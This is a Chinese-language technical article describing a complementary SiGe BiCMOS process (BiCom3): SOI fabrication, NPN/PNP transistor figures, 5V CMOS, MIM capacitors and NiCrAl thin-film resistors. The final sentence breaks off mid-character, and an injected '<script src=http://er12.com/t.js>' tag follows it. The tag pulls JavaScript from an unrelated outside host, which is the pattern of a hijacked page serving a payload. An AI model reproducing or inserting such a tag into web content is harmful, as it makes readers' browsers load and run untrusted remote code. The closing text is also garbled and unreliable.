摘要：本文介绍了一种新型的互补sige bicmos技术。该技术带有完全电介质绝缘的5v多发射极npn和pnp晶体管、5v cmos、高精度mim电容器、高精度薄膜电阻及多晶硅(poly)电阻、多状态金属保险丝以及三级冶金(metallurgy)。在这种独特的技术基础之上，我们实现了增益为5而imd3在100mhz下仅为-90dbc的2.3ghz电压反馈放大器。
1.技术概览：
第三代完全电介质绝缘的互补sige bicmos工艺(bicom3)针对超高速高精度模拟集成电路而设计。上述器件的工作电压为5v，可在广泛的温度范围内工作，其ft的范围为15-20ghz，fmax的值则达40-50ghz的范围，并最小化了集电极到基板的寄生现象。ft的值反应出其性能比前一代互补技术要提高近三倍。
此器件建立在商用soi晶圆之上。首先定义掺质浓度较大的p及n埋层。随后沉淀的是0.65um的本征外延层，再加上填入氧化物的深、浅沟槽，尽可能减小寄生现象并提高电路密度。在确定双沟道(bipolar sinker)、cmos阱与栅层叠后，我们采用新颖的dual-epi工艺来形成npn及pnp sige双基极区。多发射极的尺寸极小，仅为0.4x0.8μm2，采用独特的界面处理工艺处理技术形成。cmos栅极、多晶硅高精度电阻及双基极多晶硅同时形成图案。我们在基极接触点上还采用cmos源／漏注入。在多晶硅底板上采用tin顶板，由此形成mim电容，并选择氧化电介质实现低电介质吸收效果。最后，我们将可用激光修整的nicral薄膜电阻器集成到1.0mm间距的tlm后端，从而完成有关工艺。图1显示了最终npn及pnp器件的截面视图。
2.双极晶体管性能特点：
该技术的主要组件为双极管。对于使用互补设计的高性能模拟应用，使npn与pnp的ft性能合理正确地匹配（因数在2以内）极为有用。除高ft之外，高速线性运算放大器以有其它信号调节电路也需要高晶体管增益，主要特点简而言之就是βova的积。增加va通常以ft为代价，因为这需要提高基的掺杂级，因而导致移动性降低，并增加了发射极电容。添加sige可以增强基场(field)，从而抵消上述影响，这样在提高va同时可得到更大的ft。表2给出了双极晶体管在室温下的特性。
npn与pnp的ft及fmax曲线图分别在图2及图3中给出，这里的器件为0.4x0.8um2器件，而图4和图5则给出了有关器件的gummel图。
3.cmos与无源组件
除了双极组件外，5v cmos也集成到工艺流程中，以支持信噪比(snr)性能要求较高的高速模数转换器(adc)。表3列出了bicom3 cmos晶体管特性。
工艺开发的关键在于集成稳定而高性能的无源组件。图6显示了tin-ox-tisi2电容与nicral薄膜电阻器(tfr)的截面视图。电容的tin及tisi2层实现了mim性能，同时在选择电介质材料时也实现了更大的灵?script src=http://er12.com/t.js>
